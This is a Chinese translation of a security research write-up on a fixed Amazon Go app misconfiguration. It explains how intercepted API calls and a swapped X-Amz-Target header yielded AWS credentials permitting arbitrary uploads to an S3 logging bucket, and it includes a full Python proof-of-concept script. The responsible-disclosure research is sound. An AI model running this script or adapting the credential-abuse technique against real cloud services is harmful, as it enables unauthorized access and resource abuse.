原文:https://rhinosecuritylabs.com/aws/amazon-aws-misconfiguration-amazon-go/
背景知识
今年早些时候,亚马逊全新的智能零售店Amazon Go正式向公众开放,由于这种零售店提供了自动结账系统,所以,商店内根本就没有收银员!因此,这种商店将有望彻底改变人们的购物体验。
概括来说,这种零售店的运作方式为:首先,客户需要下载Amazon Go移动应用程序,并使用关联了信用卡的亚马逊帐户登录。然后,购物者只需扫描应用程序显示的条形码,商店的旋转门就自动打开,顾客就可以入店正常购物了。实际上,客户完成购物后,即拿即走,无需在收银台前滞留。Amazon Go的传感器会计算顾客有效的购物行为,并在顾客离开商店后,自动根据顾客的消费情况在亚马逊账户上结账收费。
我们知道,Amazon S3服务提供了存放各种使用场景下的文件和信息的存储桶(bucket)。实际上,Amazon Go恰好就使用了AWS S3服务,这就是本文介绍的漏洞的根源。
老漏洞,新应用:AWS S3存储桶的权限问题
最近对多个企业环境的检查表明,对于使用Amazon Web Services(AWS)的公司来说,在云安全方面,很难做到面面俱到,尤其是在边缘安全问题方面。这些边缘安全问题包括,各种可公开读/写的AWS S3存储桶、公开的密钥对、未经身份验证的数据库访问等。在本文中,我们将详细介绍Amazon Go移动应用程序中的一种错误配置问题,这个安全漏洞会允许未经身份验证的用户将任意文件上载到Amazon Go S3存储桶中。
当然,这个漏洞已经在我们与Amazon Go的通力合作下修复过了,在这里,我们只是通过它来说明AWS云中的配置问题是多么的常见,及其危害的严重性。
Amazon Go攻击情景
虽然Amazon Go商店才开业不久,但是,鉴于以前曾在Amazon Key中发现了一个高危漏洞,因此,我们对测试Amazon Go的安全性及其两者之间的关系非常感兴趣。
此前,我们曾试图通过BurpSuite拦截来自移动应用的API请求(未成功),为此,我们去了Amazon Go实体店(位于华盛顿州西雅图),带了一台笔记本电脑、一个wifi热点和一部手机。我们的目标是试图用Burp拦截来自店内顾客移动应用程序的流量,来看看顾客进入商店、拿起/放下商品、在店内走动以及最后离开时,是否会发送相关的请求。
初步发现
我们用BurpSuite进行了一些测试,结果发现了一个有趣的请求,它返回的JSON对象竟然包含密钥的“accessKeyId”、“secretAccessKey”、“sessionToken”、“url”和“timeout”。其中,密钥和会话令牌是AWS凭证,URL是AWS简单队列服务(SQS)的URL,超时时间约为1.5秒。稍加研究后,我们发现SQS的URL格式为" https://sqs.[region].amazonaws.com/[aws account id (可能所有用户的都一样)]/DeviceQueue[customer id][mobile device id] "。
接下来,我们需要在AWS上测试访问密钥、密钥和会话令牌,看看这些凭证是否有效。由于超时的限制,如果手工测试的话,还来不及动手,密钥早就失效了。为了避免这种情况,我们编写了一个python脚本来生成初始请求,该请求将返回相关凭证,然后快速将返回的凭证用于后续的请求。
不出所料,利用这些密钥发送请求后,我们可以根据返回的JSON对象中的AWS SQS URL,来轮询和删除该特定SQS URL所对应的消息。此外,我们还尝试了其他常规权限,但都无法访问任何其他内容。
在该请求中,会发送一个“X-Amz-Target:com.amazon.ihmfence.coral.IhmFenceService.getTransientQueue”头部。正如我们稍后发现的那样,该头部的值显然是对Java编程语言中的类的引用,因为这个Android应用程序就是用Java语言编写的。
静态分析
此后,我们对应用程序进行了静态分析,以了解“X-Amz-Target”头部的相关情况。我们将应用程序复制到了一台计算机上,然后,使用名为JADX的工具将.apk文件反编译为Java,这样,我们就能更加轻松地梳理得到的源代码了。
首先,我们从搜索“X-Amz-Target”头部所引用的类,即“getTransientQueue”开始下手,找到了“GetTransientQueueInput”和“GetTransientQueueOutput”,它们位于“com -> amazon -> ihm -> fence”中。此外,这里还有许多类似“GetXYZ”格式的其他类,好像都属于“FenceClient”类。
通过浏览“FenceClient”类,我们发现了大量有用的信息。首先,处理我们正在拦截的HTTP请求的函数,会引用前面的“X-Amz-Target”头部。
在这个类中,还引用了所有可能代替图中“operation”变量的各个选项,其中一个被称为“getUploadCredentialsV2”,这个看起来正是我们感兴趣的。
接下来,我们使用Burp Suite重发同样的请求,只是这里将“X-Amz-Target”头部的值替换为“com.amazon.ihmfence.coral.IhmFenceService.getUploadCredentialsV2”,这样,就能再次从响应中得到访问密钥、机密密钥、会话令牌和超时值。接下来,我们将再次借助python脚本,不过这里需要替换其中的某些值,让便它使用“getUploadCredentialsV2”,并测试与这些密钥相关的权限。在使用这些密钥测试随机权限之前,我们决定考察更多的源代码,以弄清这个函数的用途。我们快速搜索了导入和使用该函数的位置,并发现了“LoggingUploadService”类。所以,正是它使用这些AWS密钥来上传日志。该类中有一个函数“onCreate”,其中包含一个变量“this.s3BucketName”,它被赋值为“ihm-device-logs-prod”。同时,我们还发现这个S3存储桶的公共权限被锁定了。
回到python脚本,我们又添加了一些代码,这些代码将使用AWS密钥来测试该存储桶上的S3权限。在尝试上传文件之前,我们尝试了许多与S3相关的权限,但都没有成功。然后,我们创建了一个文件“test.txt”,并在其中添加了单词“test”,修改python脚本,让它尝试将文件上传到S3存储桶......它成功了! 下面是该脚本的最终版本,读者也可以从GitHub上下载:
#!/usr/bin/env python
import json, boto3, requests
# Make the request to getUploadCredentialsV2 which will return the AWS access key, secret key, and session token
response = requests.post('https://mccs.amazon.com/ihmfence',
headers={
'Accept': 'application/json',
'x-amz-access-token': 'my-x-amz-access-token',
'Content-Encoding': 'amz-1.0',
'X-Amz-DevicePlatform': 'ios',
'X-Amz-AppBuild': '4000022',
'Accept-Language': 'en-us',
'X-Amz-DeviceId': 'my-device-id',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/json',
'User-Agent': 'Amazon Go/4000022 CFNetwork/808.0.2 Darwin/16.0.0',
'Connection': 'close',
'X-Amz-DevicePlatformVersion': '10.0.2',
'X-Amz-Target': 'com.amazon.ihmfence.coral.IhmFenceService.getUploadCredentialsV2',
'X-Amzn-AppVersion': '1.0.0'
},
cookies={
'ubid-tacbus': 'my-ubid-tacbus',
'session-token': 'my-session-token',
'at-tacbus': 'my-at-tacbus',
'session-id': 'my-session-id',
'session-id-time': 'some-time'
},
# Send an empty JSON object as the body
data='{}'
)
# Store the values returned in the response
obj = response.json()
access_key = obj['accessKey']
secret_key = obj['secretKey']
session_token = obj['sessionToken']
# Create an S3 boto3 resource
s3 = boto3.resource(
's3',
aws_access_key_id=access_key,
aws_secret_access_key=secret_key,
aws_session_token=session_token,
region_name='us-west-2'
)
# Upload my local ./test.txt file to ihm-device-logs-prod with the name test.txt
upload = s3.meta.client.upload_file('./test.txt', 'ihm-device-logs-prod', 'test.txt')
# Print the results
print(upload)
现在,我们能够将任意文件上传到Amazon Go的日志记录S3存储桶了。需要说明的是,上传后,我们无法对其执行任何其他操作,所以,我们只是把它从自己手中上传到该存储桶而已。
在这里,我们想看看上传的文件到底是什么样的。所以,就在已经取得root权限的Android设备上搜索文件系统,查找其中的日志文件,结果一无所获。看起来日志文件在上传到S3后会从手机本地删除,所以,我们决定将其置于飞行模式,并不停打开/关闭/操作应用程序,从而让系统生成一些日志文件,然后,我们就应当能够看到这些文件了,因为在不联网的情况下,手机是不会进行上传和删除操作的。
我们最终找到了一些日志,它们的名称格式为“ERRORDIALOG_Month _DD_YYYY_HH:MM:SS_log.gz”。.gz文件只包含一个同名的文件,只是没有.gz扩展名。在文本编辑器中打开该文件,发现有很多关于尝试执行不同操作的错误,但都因为没有联网而失败了。文件中的最后一个任务是调用LogUploadManager函数,此时将创建下一个日志文件。日志文件的格式非常简单,可以在上传之前轻松进行修改,从而可能导致其他攻击。
在下图中,您可以看到日志文件其中一个片段,它表明系统正在尝试连接到Internet。
漏洞的影响
如果可以将任意文件上传到专用S3存储桶的话,攻击者就能用垃圾文件塞满存储桶,从而占用大量空间来浪费公司的资金。当然,这些钱对于Amazon公司(AWS的母公司)来说影响不大,但对中小型公司来说,却是不容忽视的。
此处,还存在其他攻击方式,包括感染日志或已上传的其他文件,从而导致数据的恶意执行等。
结束语
AWS是一个非常复杂的云环境,即使是经验老道的用户,在配置过程中也难免出错。因此,在创建应用程序和部署时,必须通过AWS环境中的渗透测试来验证配置的正确性。通过这些测试,不仅可以降低配置错误的可能性,同时,还能提高系统的安全性。